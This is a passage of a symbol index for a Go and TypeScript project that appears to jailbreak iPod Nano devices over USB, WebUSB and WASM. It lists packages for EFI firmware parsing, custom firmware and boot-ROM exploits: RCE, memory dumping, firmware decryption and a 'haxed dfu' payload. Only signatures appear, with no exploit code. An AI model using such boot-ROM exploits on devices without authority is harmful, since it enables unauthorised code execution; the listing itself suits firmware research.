  function applyPatches (line 132) | func applyPatches(img *image.IMG1, patches VolumeVisitor) ([]byte, error) {
  function defangRaw (line 175) | func defangRaw(patches map[int][]byte) Defanger {

FILE: pkg/cfw/fixup.go
  function SecoreOffset (line 13) | func SecoreOffset(fv *efi.Volume) (int, error) {
  function SecoreFixup (line 39) | func SecoreFixup(origPos int, fv *efi.Volume) error {

FILE: pkg/devices/devices.go
  type Kind (line 3) | type Kind
    method String (line 31) | func (k Kind) String() string {
    method SoCCode (line 49) | func (k Kind) SoCCode() string {
    method DFUVersion (line 65) | func (k Kind) DFUVersion() DFUProtoVersion {
    method Description (line 74) | func (k Kind) Description() Description {
  constant Nano3 (line 6) | Nano3     Kind = "n3g"
  constant Nano4 (line 7) | Nano4     Kind = "n4g"
  constant Nano5 (line 8) | Nano5     Kind = "n5g"
  constant Nano6 (line 9) | Nano6     Kind = "n6g"
  constant Nano7 (line 10) | Nano7     Kind = "n7g"
  constant Nano7Late (line 11) | Nano7Late Kind = "n7g-late"
  type InterfaceKind (line 14) | type InterfaceKind
  constant DFU (line 17) | DFU  InterfaceKind = "dfu"
  constant WTF (line 18) | WTF  InterfaceKind = "wtf"
  constant Disk (line 19) | Disk InterfaceKind = "diskmode"
  type DFUProtoVersion (line 22) | type DFUProtoVersion
  constant DFUProtoVersion1 (line 26) | DFUProtoVersion1 DFUProtoVersion = 1
  constant DFUProtoVersion2 (line 28) | DFUProtoVersion2 DFUProtoVersion = 2
  type Description (line 83) | type Description struct

FILE: pkg/devices/usb.go
  type Usb (line 10) | type Usb interface
  type UsbMsInEndpoint (line 33) | type UsbMsInEndpoint interface
  type UsbMsOutEndpoint (line 37) | type UsbMsOutEndpoint interface
  type UsbMsEndpoints (line 41) | type UsbMsEndpoints struct

FILE: pkg/dfu/dfu.go
  type Request (line 15) | type Request
  constant RequestDetach (line 18) | RequestDetach    Request = 0
  constant RequestDnload (line 19) | RequestDnload    Request = 1
  constant RequestUpload (line 20) | RequestUpload    Request = 2
  constant RequestGetStatus (line 21) | RequestGetStatus Request = 3
  constant RequestClrStatus (line 22) | RequestClrStatus Request = 4
  constant RequestGetState (line 23) | RequestGetState  Request = 5
  constant RequestAbort (line 24) | RequestAbort     Request = 6
  type Err (line 27) | type Err
  constant ErrOk (line 30) | ErrOk          Err = 0x00
  constant ErrTarget (line 31) | ErrTarget      Err = 0x01
  constant ErrFile (line 32) | ErrFile        Err = 0x02
  constant ErrWrite (line 33) | ErrWrite       Err = 0x03
  constant ErrErase (line 34) | ErrErase       Err = 0x04
  constant ErrCheckErased (line 35) | ErrCheckErased Err = 0x05
  constant ErrProg (line 36) | ErrProg        Err = 0x06
  constant ErrVerify (line 37) | ErrVerify      Err = 0x07
  constant ErrAddress (line 38) | ErrAddress     Err = 0x08
  constant ErrNotDone (line 39) | ErrNotDone     Err = 0x09
  constant ErrFirmware (line 40) | ErrFirmware    Err = 0x0a
  constant ErrVendor (line 41) | ErrVendor      Err = 0x0b
  constant ErrUsbr (line 42) | ErrUsbr        Err = 0x0c
  constant ErrPor (line 43) | ErrPor         Err = 0x0d
  constant ErrUnknown (line 44) | ErrUnknown     Err = 0x0e
  constant ErrStalledPkt (line 45) | ErrStalledPkt  Err = 0x0f
  type State (line 48) | type State
    method String (line 64) | func (d State) String() string {
  constant StateAppIdle (line 51) | StateAppIdle           State = 0
  constant StateAppDetach (line 52) | StateAppDetach         State = 1
  constant StateIdle (line 53) | StateIdle              State = 2
  constant StateDnloadSync (line 54) | StateDnloadSync        State = 3
  constant StateDnBusy (line 55) | StateDnBusy            State = 4
  constant StateDnloadIdle (line 56) | StateDnloadIdle        State = 5
  constant StateManifestSync (line 57) | StateManifestSync      State = 6
  constant StateManifest (line 58) | StateManifest          State = 7
  constant StateManifestWaitReset (line 59) | StateManifestWaitReset State = 8
  constant StateUploadIdle (line 60) | StateUploadIdle        State = 9
  constant StateError (line 61) | StateError             State = 10
  function GetState (line 90) | func GetState(usb devices.Usb) (State, error) {
  type Status (line 102) | type Status struct
  function GetStatus (line 108) | func GetStatus(usb devices.Usb) (*Status, error) {
  function ClearStatus (line 126) | func ClearStatus(usb devices.Usb) error {
  function ReceiveChunk (line 134) | func ReceiveChunk(usb devices.Usb, l int, blockno uint16) ([]byte, error) {
  function SendChunk (line 143) | func SendChunk(usb devices.Usb, c []byte, blockno uint16) error {
  type SendOption (line 151) | type SendOption struct
  function SendImage (line 155) | func SendImage(usb devices.Usb, i []byte, version devices.DFUProtoVersio...
  function Clean (line 244) | func Clean(usb devices.Usb) error {

FILE: pkg/efi/compression/compression.go
  type TianoCompression (line 3) | type TianoCompression interface

FILE: pkg/efi/compression/compression_runtime.go
  type RuntimeDispatched (line 5) | type RuntimeDispatched struct
    method Decompress (line 10) | func (r *RuntimeDispatched) Decompress(in []byte) ([]byte, error) {
    method Compress (line 13) | func (r *RuntimeDispatched) Compress(in []byte) ([]byte, error) {

FILE: pkg/efi/compression/compression_test.go
  function TestLoopback (line 8) | func TestLoopback(t *testing.T) {

FILE: pkg/efi/compression/compression_wazero.go
  type edk2 (line 39) | type edk2 struct
    method malloc (line 48) | func (e *edk2) malloc(ctx context.Context, size int) uint32 {
    method free (line 56) | func (e *edk2) free(ctx context.Context, ptr uint32) {
    method write (line 60) | func (e *edk2) write(ctx context.Context, ptr uint32, data []byte) {
    method writeu32 (line 66) | func (e *edk2) writeu32(ctx context.Context, ptr, data uint32) {
    method read (line 74) | func (e *edk2) read(ctx context.Context, ptr uint32, size int) []byte {
    method readu32 (line 84) | func (e *edk2) readu32(ctx context.Context, ptr uint32) uint32 {
  function edk2Error (line 97) | func edk2Error(code int32) error {
  function getedk2 (line 112) | func getedk2() *edk2 {
  type wazeroCompression (line 149) | type wazeroCompression struct
    method Decompress (line 152) | func (w *wazeroCompression) Decompress(in []byte) ([]byte, error) {
    method Compress (line 194) | func (w *wazeroCompression) Compress(in []byte) ([]byte, error) {

FILE: pkg/efi/efi.go
  type GUID (line 30) | type GUID
    method String (line 32) | func (g GUID) String() string {
  function MustParseGUID (line 41) | func MustParseGUID(s string) GUID {
  type NestedReader (line 81) | type NestedReader struct
    method Read (line 88) | func (r *NestedReader) Read(out []byte) (int, error) {
    method Advance (line 101) | func (r *NestedReader) Advance(count int) {
    method TellGlobal (line 109) | func (r *NestedReader) TellGlobal() int {
    method Sub (line 113) | func (r *NestedReader) Sub(start, length int) *NestedReader {
    method Len (line 122) | func (r *NestedReader) Len() int {
  function NewNestedReader (line 126) | func NewNestedReader(underlying []byte) *NestedReader {
  type Uint24 (line 136) | type Uint24
    method Uint32 (line 145) | func (s Uint24) Uint32() uint32 {
  function ToUint24 (line 138) | func ToUint24(s uint32) Uint24 {
  function checksum16 (line 152) | func checksum16(data []byte) uint16 {
  function checksum8 (line 168) | func checksum8(data []byte) uint8 {

FILE: pkg/efi/file.go
  type FirmwareFileHeader (line 11) | type FirmwareFileHeader struct
  type FileType (line 24) | type FileType
    method String (line 35) | func (f FileType) String() string {
  constant FileTypeSecurityCore (line 27) | FileTypeSecurityCore FileType = 3
  constant FileTypePEICore (line 28) | FileTypePEICore      FileType = 4
  constant FileTypeDXECore (line 29) | FileTypeDXECore      FileType = 5
  constant FileTypeDriver (line 30) | FileTypeDriver       FileType = 7
  constant FileTypeApplication (line 31) | FileTypeApplication  FileType = 9
  constant FileTypePadding (line 32) | FileTypePadding      FileType = 240
  type FirmwareFile (line 55) | type FirmwareFile struct
    method Serialize (line 63) | func (f *FirmwareFile) Serialize() ([]byte, error) {
  function readFile (line 104) | func readFile(r *NestedReader) (*FirmwareFile, error) {

FILE: pkg/efi/sections.go
  type SectionType (line 16) | type SectionType
    method String (line 30) | func (s SectionType) String() string {
  constant SectionTypeCompression (line 19) | SectionTypeCompression         SectionType = 1
  constant SectionTypeGUIDDefined (line 20) | SectionTypeGUIDDefined         SectionType = 2
  constant SectionTypePE32 (line 21) | SectionTypePE32                SectionType = 16
  constant SectionTypeTE (line 22) | SectionTypeTE                  SectionType = 18
  constant SectionTypeDXEDEPEX (line 23) | SectionTypeDXEDEPEX            SectionType = 19
  constant SectionTypeVersion (line 24) | SectionTypeVersion             SectionType = 20
  constant SectionTypeUserInterface (line 25) | SectionTypeUserInterface       SectionType = 21
  constant SectionTypeFirmwareVolumeImage (line 26) | SectionTypeFirmwareVolumeImage SectionType = 23
  constant SectionTypeRaw (line 27) | SectionTypeRaw                 SectionType = 25
  type SectionOrFile (line 55) | type SectionOrFile struct
  type Section (line 62) | type Section interface
  function readSections (line 78) | func readSections(r *NestedReader) ([]Section, error) {
  type commonSectionHeader (line 97) | type commonSectionHeader struct
    method Header (line 102) | func (c *commonSectionHeader) Header() *commonSectionHeader {
    method Raw (line 106) | func (c *commonSectionHeader) Raw() []byte {
    method SetRaw (line 110) | func (c *commonSectionHeader) SetRaw([]byte) {
  type compressionSection (line 113) | type compressionSection struct
    method Sub (line 122) | func (c *compressionSection) Sub() []SectionOrFile {
    method Serialize (line 148) | func (c *compressionSection) Serialize() ([]byte, error) {
  function concatSections (line 130) | func concatSections(sub []Section) ([]byte, error) {
  type guidSection (line 173) | type guidSection struct
    method Sub (line 184) | func (c *guidSection) Sub() []SectionOrFile {
    method Serialize (line 192) | func (c *guidSection) Serialize() ([]byte, error) {
  type leafSection (line 253) | type leafSection struct
    method Sub (line 258) | func (c *leafSection) Sub() []SectionOrFile {
    method Serialize (line 262) | func (c *leafSection) Serialize() ([]byte, error) {
    method Raw (line 274) | func (c *leafSection) Raw() []byte {
    method SetRaw (line 280) | func (c *leafSection) SetRaw(d []byte) {
  type NestedImageSection (line 286) | type NestedImageSection struct
    method Sub (line 291) | func (c *NestedImageSection) Sub() []SectionOrFile {
    method Serialize (line 302) | func (c *NestedImageSection) Serialize() ([]byte, error) {
    method Raw (line 318) | func (c *NestedImageSection) Raw() []byte {
    method SetRaw (line 322) | func (c *NestedImageSection) SetRaw(d []byte) {
  function readSection (line 326) | func readSection(r *NestedReader) (Section, error) {

FILE: pkg/efi/volume.go
  type FirmwareVolumeHeader (line 13) | type FirmwareVolumeHeader struct
    method check (line 28) | func (h *FirmwareVolumeHeader) check() error {
  type Volume (line 45) | type Volume struct
    method Serialize (line 145) | func (v *Volume) Serialize() ([]byte, error) {
  type blockmap (line 53) | type blockmap struct
  function ReadVolume (line 62) | func ReadVolume(r *NestedReader) (*Volume, error) {

FILE: pkg/exploit/decrypt/decrypt.go
  function Payload (line 25) | func Payload(ep exploit.Parameters) ([]byte, error) {
  function Trigger (line 37) | func Trigger(usb devices.Usb, ep exploit.Parameters, data []byte) ([]byt...
  type Option (line 56) | type Option struct
  function Decrypt (line 60) | func Decrypt(app *app.App, in []byte, recoveryPath string, options ...Op...

FILE: pkg/exploit/dumpmem/dumpmem.go
  function Trigger (line 12) | func Trigger(usb devices.Usb, ep exploit.Parameters, addr uint32) ([]byt...

FILE: pkg/exploit/exploit.go
  type Parameters (line 13) | type Parameters interface
  function ldrOrMov (line 46) | func ldrOrMov(r uasm.Register, val uint32) uasm.Statement {
  function makeCall (line 55) | func makeCall(addr uint32, params ...uint32) []uasm.Statement {
  function RCE (line 112) | func RCE(usb devices.Usb, ep Parameters, payload, data []byte) ([]byte, ...

FILE: pkg/exploit/haxeddfu/haxeddfu.go
  constant ProductString (line 14) | ProductString = "haxed dfu"
  function makeStringDescriptor (line 16) | func makeStringDescriptor(s string) []byte {
  function Payload (line 27) | func Payload(ep exploit.Parameters) ([]byte, error) {
  function Trigger (line 45) | func Trigger(usb devices.Usb, ep exploit.Parameters, force bool) error {

FILE: pkg/exploit/s5late_n7g.go
  type S5LateParameters (line 43) | type S5LateParameters struct
    method DFUBufAddr (line 54) | func (p *S5LateParameters) DFUBufAddr() uint32 {
    method ExecAddr (line 58) | func (p *S5LateParameters) ExecAddr() uint32 {
    method USBBufAddr (line 62) | func (p *S5LateParameters) USBBufAddr() uint32 {
    method SetupPacket (line 66) | func (p *S5LateParameters) SetupPacket() []byte {
    method NANDInit (line 70) | func (p *S5LateParameters) NANDInit(bank uint32) ([]uasm.Statement, er...
    method NANDReadPage (line 74) | func (p *S5LateParameters) NANDReadPage(bank, page, offset uint32) ([]...
    method NANDIdentify (line 78) | func (p *S5LateParameters) NANDIdentify() ([]uasm.Statement, uint32) {
    method NORInit (line 82) | func (p *S5LateParameters) NORInit(spino uint32) ([]uasm.Statement, er...
    method NORRead (line 86) | func (p *S5LateParameters) NORRead(spino, offset uint32) ([]uasm.State...
    method HaxedDFUPayload (line 90) | func (p *S5LateParameters) HaxedDFUPayload() []uasm.Statement {
    method TrampolineAddr (line 97) | func (p *S5LateParameters) TrampolineAddr() uint16 {
    method HandlerFooter (line 103) | func (p *S5LateParameters) HandlerFooter(addr uint32) []uasm.Statement {
    method AESCall (line 116) | func (p *S5LateParameters) AESCall() []uasm.Statement {
    method DisableICache (line 120) | func (p *S5LateParameters) DisableICache() []uasm.Statement {
    method Prepare (line 127) | func (p *S5LateParameters) Prepare(usb devices.Usb) error {
  type state (line 273) | type state struct
  type usbHandlers (line 366) | type usbHandlers struct

FILE: pkg/exploit/wind3x_n3g.go
  constant FMC_BASE0 (line 13) | FMC_BASE0 = 0x38a00000
  constant FMC_CTRL0_OFF (line 16) | FMC_CTRL0_OFF = 0x00
  constant FMC_CTRL1_OFF (line 18) | FMC_CTRL1_OFF = 0x04
  constant FMC_CMD_OFF (line 20) | FMC_CMD_OFF = 0x08
  constant FMC_ADDR0_OFF (line 22) | FMC_ADDR0_OFF = 0x0c
  constant FMC_ADDR1_OFF (line 23) | FMC_ADDR1_OFF = 0x10
  constant FMC_ADDR2_OFF (line 24) | FMC_ADDR2_OFF = 0x14
  constant FMC_ANUM_OFF (line 26) | FMC_ANUM_OFF = 0x2c
  constant FMC_DNUM_OFF (line 28) | FMC_DNUM_OFF = 0x30
  constant FMC_STAT_OFF (line 30) | FMC_STAT_OFF = 0x48
  constant FMC_FIFO_OFF (line 32) | FMC_FIFO_OFF = 0x80
  type epNano3G (line 35) | type epNano3G struct
    method Prepare (line 37) | func (_ *epNano3G) Prepare(_ devices.Usb) error {
    method DFUBufAddr (line 41) | func (_ *epNano3G) DFUBufAddr() uint32 {
    method ExecAddr (line 45) | func (_ *epNano3G) ExecAddr() uint32 {
    method USBBufAddr (line 49) | func (_ *epNano3G) USBBufAddr() uint32 {
    method TrampolineAddr (line 53) | func (_ *epNano3G) TrampolineAddr() uint16 {
    method SetupPacket (line 58) | func (_ *epNano3G) SetupPacket() []byte {
    method HandlerFooter (line 63) | func (_ *epNano3G) HandlerFooter(addr uint32) []uasm.Statement {
    method AESCall (line 77) | func (_ *epNano3G) AESCall() []uasm.Statement {
    method HaxedDFUPayload (line 81) | func (_ *epNano3G) HaxedDFUPayload() []uasm.Statement {
    method DisableICache (line 170) | func (_ *epNano3G) DisableICache() []uasm.Statement {
    method NANDInit (line 174) | func (_ *epNano3G) NANDInit(bank uint32) ([]uasm.Statement, error) {
    method NANDReadPage (line 189) | func (_ *epNano3G) NANDReadPage(bank, page, offset uint32) ([]uasm.Sta...
    method NANDIdentify (line 194) | func (_ *epNano3G) NANDIdentify() ([]uasm.Statement, uint32) {
    method NORInit (line 263) | func (_ *epNano3G) NORInit(spino uint32) ([]uasm.Statement, error) {
    method NORRead (line 287) | func (_ *epNano3G) NORRead(spino, offset uint32) ([]uasm.Statement, ui...

FILE: pkg/exploit/wind3x_n45g.go
  type epNano45G (line 10) | type epNano45G struct
    method Prepare (line 14) | func (_ *epNano45G) Prepare(_ devices.Usb) error {
    method DFUBufAddr (line 18) | func (_ *epNano45G) DFUBufAddr() uint32 {
    method ExecAddr (line 22) | func (_ *epNano45G) ExecAddr() uint32 {
    method USBBufAddr (line 26) | func (_ *epNano45G) USBBufAddr() uint32 {
    method SetupPacket (line 30) | func (_ *epNano45G) SetupPacket() []byte {
    method NANDInit (line 34) | func (_ *epNano45G) NANDInit(bank uint32) ([]uasm.Statement, error) {
    method NANDReadPage (line 38) | func (_ *epNano45G) NANDReadPage(bank, page, offset uint32) ([]uasm.St...
    method NANDIdentify (line 42) | func (_ *epNano45G) NANDIdentify() ([]uasm.Statement, uint32) {
    method NORInit (line 46) | func (_ *epNano45G) NORInit(spino uint32) ([]uasm.Statement, error) {
    method NORRead (line 50) | func (_ *epNano45G) NORRead(spino, offset uint32) ([]uasm.Statement, u...
    method HaxedDFUPayload (line 54) | func (e *epNano45G) HaxedDFUPayload() []uasm.Statement {
  type epNano4G (line 111) | type epNano4G struct
    method TrampolineAddr (line 123) | func (_ *epNano4G) TrampolineAddr() uint16 {
    method HandlerFooter (line 127) | func (_ *epNano4G) HandlerFooter(addr uint32) []uasm.Statement {
    method AESCall (line 140) | func (_ *epNano4G) AESCall() []uasm.Statement {
    method DisableICache (line 144) | func (_ *epNano4G) DisableICache() []uasm.Statement {
  function newEPNano4G (line 115) | func newEPNano4G() *epNano4G {
  type epNano5G (line 148) | type epNano5G struct
    method TrampolineAddr (line 160) | func (_ *epNano5G) TrampolineAddr() uint16 {
    method HandlerFooter (line 164) | func (_ *epNano5G) HandlerFooter(addr uint32) []uasm.Statement {
    method AESCall (line 177) | func (_ *epNano5G) AESCall() []uasm.Statement {
    method DisableICache (line 181) | func (_ *epNano5G) DisableICache() []uasm.Statement {
    method NANDInit (line 185) | func (_ *epNano5G) NANDInit(bank uint32) ([]uasm.Statement, error) {
    method NANDReadPage (line 197) | func (_ *epNano5G) NANDReadPage(bank, page, offset uint32) ([]uasm.Sta...
  function newEPNano5G (line 152) | func newEPNano5G() *epNano5G {

FILE: pkg/image/image.go
  constant FormatSignedEncrypted (line 15) | FormatSignedEncrypted     byte = 1
  constant FormatSigned (line 16) | FormatSigned              byte = 2
  constant FormatX509SignedEncrypted (line 17) | FormatX509SignedEncrypted byte = 3
  constant FormatX509Signed (line 18) | FormatX509Signed          byte = 4
  type IMG1Header (line 23) | type IMG1Header struct
  function MakeUnsigned (line 38) | func MakeUnsigned(dk devices.Kind, entrypoint uint32, body []byte) ([]by...
  type IMG1 (line 100) | type IMG1 struct
  function Read (line 110) | func Read(r io.ReadSeeker) (*IMG1, error) {

FILE: pkg/mse/modifications.go
  method FileByName (line 12) | func (m *MSE) FileByName(n string) *File {
  method Hax (line 21) | func (m *MSE) Hax() error {

FILE: pkg/mse/mse.go
  type MSE (line 25) | type MSE struct
    method Serialize (line 275) | func (m *MSE) Serialize() ([]byte, error) {
  type File (line 40) | type File struct
  type PrefixHeader (line 53) | type PrefixHeader struct
  type FourCC (line 62) | type FourCC
    method String (line 64) | func (f *FourCC) String() string {
    method Set (line 70) | func (f *FourCC) Set(s string) {
  type VolumeHeader (line 80) | type VolumeHeader struct
  type FileHeader (line 87) | type FileHeader struct
    method Valid (line 109) | func (f *FileHeader) Valid() bool {
  function guessGeneration (line 119) | func guessGeneration(r io.ReadSeeker) (devices.Kind, error) {
  function Parse (line 159) | func Parse(r io.ReadSeeker) (*MSE, error) {

FILE: pkg/syscfg/syscfg.go
  type Header (line 11) | type Header struct
  type Tag (line 20) | type Tag
    method String (line 22) | func (t Tag) String() string {
  type handler (line 28) | type handler
  type Values (line 30) | type Values struct
    method Debug (line 49) | func (v *Values) Debug(w io.Writer) {
  function Parse (line 60) | func Parse(r io.Reader) (*Values, error) {

FILE: pkg/uasm/insns.go
  type Ldr (line 3) | type Ldr struct
    method hydrate (line 9) | func (l Ldr) hydrate(c *ctx) []byte {
  type Ldrb (line 17) | type Ldrb struct
    method hydrate (line 23) | func (l Ldrb) hydrate(c *ctx) []byte {
  type Str (line 31) | type Str struct
    method hydrate (line 37) | func (s Str) hydrate(c *ctx) []byte {
  type Strb (line 45) | type Strb struct
    method hydrate (line 51) | func (s Strb) hydrate(c *ctx) []byte {
  type Bx (line 59) | type Bx struct
    method hydrate (line 64) | func (b Bx) hydrate(c *ctx) []byte {
  type Blx (line 71) | type Blx struct
    method hydrate (line 76) | func (b Blx) hydrate(c *ctx) []byte {
  type B (line 83) | type B struct
    method hydrate (line 89) | func (b B) hydrate(c *ctx) []byte {
  type Mov (line 105) | type Mov struct
    method hydrate (line 111) | func (m Mov) hydrate(c *ctx) []byte {
  type And (line 119) | type And struct
    method hydrate (line 126) | func (a And) hydrate(c *ctx) []byte {
  type Or (line 135) | type Or struct
    method hydrate (line 142) | func (a Or) hydrate(c *ctx) []byte {
  type Add (line 151) | type Add struct
    method hydrate (line 158) | func (a Add) hydrate(c *ctx) []byte {
  type Sub (line 167) | type Sub struct
    method hydrate (line 174) | func (a Sub) hydrate(c *ctx) []byte {
  type Cmp (line 183) | type Cmp struct
    method hydrate (line 189) | func (m Cmp) hydrate(c *ctx) []byte {
  type Mcr (line 197) | type Mcr struct
    method hydrate (line 207) | func (m Mcr) hydrate(c *ctx) []byte {
  type Mrc (line 220) | type Mrc struct
    method hydrate (line 233) | func (m Mrc) hydrate(c *ctx) []byte {

FILE: pkg/uasm/operands.go
  type DataSource (line 5) | type DataSource interface
  type LoadSource (line 11) | type LoadSource interface
  type StoreDest (line 16) | type StoreDest interface
  type BranchTarget (line 21) | type BranchTarget interface
  type Constant (line 26) | type Constant
    method encodeLoadSource (line 28) | func (t Constant) encodeLoadSource(c *ctx) uint32 {
  type MemoryDeref (line 38) | type MemoryDeref struct
    method encodeLoadSource (line 43) | func (m MemoryDeref) encodeLoadSource(c *ctx) uint32 {
    method encodeStoreDest (line 54) | func (m MemoryDeref) encodeStoreDest(c *ctx) uint32 {
  function Deref (line 65) | func Deref(r Register, offset uint16) MemoryDeref {
  type Immediate (line 73) | type Immediate
    method encodeDataSource (line 75) | func (i Immediate) encodeDataSource(c *ctx) uint32 {
  method encodeDataSource (line 97) | func (r Register) encodeDataSource(c *ctx) uint32 {

FILE: pkg/uasm/uasm.go
  type Program (line 11) | type Program struct
    method Assemble (line 16) | func (p *Program) Assemble() []byte {
  type Register (line 60) | type Register
    method Encode (line 73) | func (r Register) Encode() uint32 {
  constant R0 (line 63) | R0 Register = 0
  constant R1 (line 64) | R1 Register = 1
  constant R2 (line 65) | R2 Register = 2
  constant R3 (line 66) | R3 Register = 3
  constant R4 (line 67) | R4 Register = 4
  constant SP (line 68) | SP Register = 13
  constant LR (line 69) | LR Register = 14
  constant PC (line 70) | PC Register = 15
  type Condition (line 77) | type Condition
    method Encode (line 84) | func (c Condition) Encode() uint32 {
  constant AL (line 80) | AL Condition = ""
  constant NE (line 81) | NE Condition = "NE"
  type Statement (line 95) | type Statement interface
  type ctx (line 106) | type ctx struct
    method AllocateConstant (line 117) | func (h *ctx) AllocateConstant(val uint32) uint32 {
  type instruction (line 131) | type instruction struct
    method size (line 134) | func (i instruction) size() uint32 {
    method preprocess (line 138) | func (i instruction) preprocess(c *ctx) {
  function offsetForward (line 141) | func offsetForward(from, to uint32) uint16 {
  function p32 (line 153) | func p32(u uint32) []byte {
  type Label (line 162) | type Label
    method size (line 164) | func (l Label) size() uint32 {
    method preprocess (line 168) | func (l Label) preprocess(c *ctx) {
    method hydrate (line 176) | func (l Label) hydrate(c *ctx) []byte {
  type LabelRef (line 180) | type LabelRef
    method resolveBranchTarget (line 182) | func (r LabelRef) resolveBranchTarget(c *ctx) uint32 {
    method encodeLoadSource (line 190) | func (r LabelRef) encodeLoadSource(c *ctx) uint32 {
  type Embed (line 200) | type Embed
    method size (line 202) | func (e Embed) size() uint32 {
    method preprocess (line 206) | func (e Embed) preprocess(_ *ctx) {
    method hydrate (line 209) | func (e Embed) hydrate(c *ctx) []byte {

FILE: pkg/uasm/uasm_test.go
  function TestSample (line 9) | func TestSample(t *testing.T) {

FILE: pkg/usbms/ipod.go
  type DeviceInformation (line 11) | type DeviceInformation struct
  method IPodDeviceInformation (line 17) | func (h *Host) IPodDeviceInformation() (*DeviceInformation, error) {
  constant IPodSubcommandUpdateStart (line 42) | IPodSubcommandUpdateStart    uint8 = 0x90
  constant IPodSubcommandUpdateChunk (line 43) | IPodSubcommandUpdateChunk    uint8 = 0x91
  constant IPodSubcommandUpdateEnd (line 44) | IPodSubcommandUpdateEnd      uint8 = 0x92
  constant IPodSubcommandRepartition (line 45) | IPodSubcommandRepartition    uint8 = 0x94
  constant IPodSubcommandUpdateFinalize (line 46) | IPodSubcommandUpdateFinalize uint8 = 0x31
  method IPodRepartition (line 49) | func (h *Host) IPodRepartition(targetSize int) error {
  type IPodUpdateKind (line 72) | type IPodUpdateKind
  method IPodUpdateStart (line 79) | func (h *Host) IPodUpdateStart(kind IPodUpdateKind, size uint32) error {
  method IPodUpdateEnd (line 97) | func (h *Host) IPodUpdateEnd() error {
  method IPodUpdateSendChunk (line 113) | func (h *Host) IPodUpdateSendChunk(data []byte) error {
  method IPodUpdateSendFull (line 136) | func (h *Host) IPodUpdateSendFull(kind IPodUpdateKind, data []byte) error {
  method IPodFinalize (line 164) | func (h *Host) IPodFinalize(reset bool) error {

FILE: pkg/usbms/scsi.go
  type OperationCode (line 15) | type OperationCode
  constant InquiryOp (line 18) | InquiryOp        OperationCode = 0x12
  constant ReadDefectDataOp (line 19) | ReadDefectDataOp OperationCode = 0x37
  constant LogSenseOp (line 20) | LogSenseOp       OperationCode = 0x4d
  type DataTransferDirection (line 23) | type DataTransferDirection
  constant DataTransferNone (line 26) | DataTransferNone DataTransferDirection = iota
  constant DataTransferToDevice (line 27) | DataTransferToDevice
  constant DataTransferFromDevice (line 28) | DataTransferFromDevice
  constant DataTransferBidirectional (line 29) | DataTransferBidirectional
  type CommandDataBuffer (line 33) | type CommandDataBuffer struct
    method Bytes (line 53) | func (c *CommandDataBuffer) Bytes() ([]byte, error) {

FILE: pkg/usbms/usbms.go
  type CBW (line 11) | type CBW struct
    method Bytes (line 145) | func (c *CBW) Bytes() []byte {
  type CBS (line 21) | type CBS struct
  type Host (line 28) | type Host struct
    method InquiryVPD (line 33) | func (h *Host) InquiryVPD(page uint8, allocation uint16) ([]byte, erro...
    method RawCommand (line 62) | func (h *Host) RawCommand(cbd *CommandDataBuffer) error {
    method buildCBW (line 113) | func (h *Host) buildCBW(cbd *CommandDataBuffer, dataLength uint32) (*C...

FILE: web/server/main.go
  function main (line 16) | func main() {

FILE: web/src/components.ts
  class Disclaimer (line 34) | class Disclaimer extends LitElement {
    method render (line 46) | render() {
    method continue (line 90) | continue() {
  class RunError (line 107) | class RunError extends Error {}
  class DeviceConnected (line 110) | class DeviceConnected extends LitElement {
    method render (line 111) | render() {
  type Connected (line 115) | interface Connected {
  class HexDump (line 122) | class HexDump extends LitElement {
    method _dump (line 133) | private _dump(array: Array<number>, offset: bigint): string {
    method render (line 161) | render() {
  type Step (line 168) | interface Step {
  class Progress (line 173) | class Progress {
    method constructor (line 176) | constructor() {
    method reset (line 180) | reset() {
    method step (line 184) | step(description: string): Step {
  class WTFDevice (line 200) | class WTFDevice extends LitElement {
    method render (line 234) | render() {
    method sendCFW (line 277) | sendCFW() {
  class DFUDevice (line 284) | class DFUDevice extends LitElement {
    method prepareStep (line 346) | private async prepareStep(kind: PayloadKind, name: string) {
    method render (line 395) | render() {
    method saveBootROM (line 469) | saveBootROM() {
    method dumpBootROM (line 473) | dumpBootROM() {
    method sendDefangedWTF (line 478) | sendDefangedWTF() {
  class Main (line 485) | class Main extends LitElement {
    method _connect (line 502) | private async _connect(): Promise<Connected> {
    method runDFU (line 543) | private runDFU() {
    method runWTF (line 547) | private runWTF() {
    method switchedToWTF (line 554) | private switchedToWTF() {
    method startedCFW (line 558) | private startedCFW() {
    method render (line 565) | render() {
  class Root (line 723) | class Root extends LitElement {
    method render (line 744) | render() {

FILE: web/src/edk2.ts
  type Compression (line 1) | interface Compression {
  type Exports (line 6) | interface Exports {
  function load (line 14) | async function load(): Promise<Compression> {

FILE: web/src/go.ts
  type PayloadKind (line 4) | enum PayloadKind {
  type DeviceKind (line 30) | enum DeviceKind {
  type InterfaceKind (line 40) | enum InterfaceKind {
  type DeviceDescription (line 46) | interface DeviceDescription {
  type StringDescriptors (line 54) | interface StringDescriptors {
  type App (line 59) | interface App {
  type Exports (line 69) | interface Exports {
  class Go (line 74) | class Go {
  function load (line 86) | async function load(): Promise<Exports> {

FILE: web/wiwali/main.go
  function async (line 26) | func async(f func(this js.Value, args []js.Value) (js.Value, error)) js....
  function await (line 45) | func await(v js.Value) (js.Value, error) {
  function findDeviceAndKind (line 65) | func findDeviceAndKind(vid, pid int16) (*devices.Description, devices.In...
  function toUint8Array (line 79) | func toUint8Array(b []byte) js.Value {
  function fromUint8Array (line 87) | func fromUint8Array(v js.Value) ([]byte, error) {
  function newApp (line 98) | func newApp(this js.Value, args []js.Value) (js.Value, error) {
  function setup (line 215) | func setup(this js.Value, args []js.Value) (js.Value, error) {
  function main (line 238) | func main() {

FILE: web/wiwali/store.go
  type indexedDBFS (line 13) | type indexedDBFS struct
    method ReadFile (line 51) | func (l *indexedDBFS) ReadFile(p string) ([]byte, error) {
    method WriteFile (line 90) | func (l *indexedDBFS) WriteFile(p string, data []byte) error {
    method Remove (line 118) | func (l *indexedDBFS) Remove(p string) error {
    method Exists (line 122) | func (l *indexedDBFS) Exists(p string) (bool, error) {
  function newIndexedDBFS (line 17) | func newIndexedDBFS() (*indexedDBFS, error) {

FILE: web/wiwali/usb.go
  type usb (line 16) | type usb struct
    method UseDefaultInterface (line 20) | func (u *usb) UseDefaultInterface() error {
    method UseDiskInterface (line 34) | func (u *usb) UseDiskInterface() (devices.UsbMsEndpoints, error) {
    method Control (line 38) | func (u *usb) Control(rType, request uint8, val, idx uint16, data []by...
    method SetControlTimeout (line 99) | func (u *usb) SetControlTimeout(time.Duration) error {
    method GetStringDescriptor (line 104) | func (u *usb) GetStringDescriptor(descIndex int) (string, error) {
    method Close (line 134) | func (u *usb) Close() error {
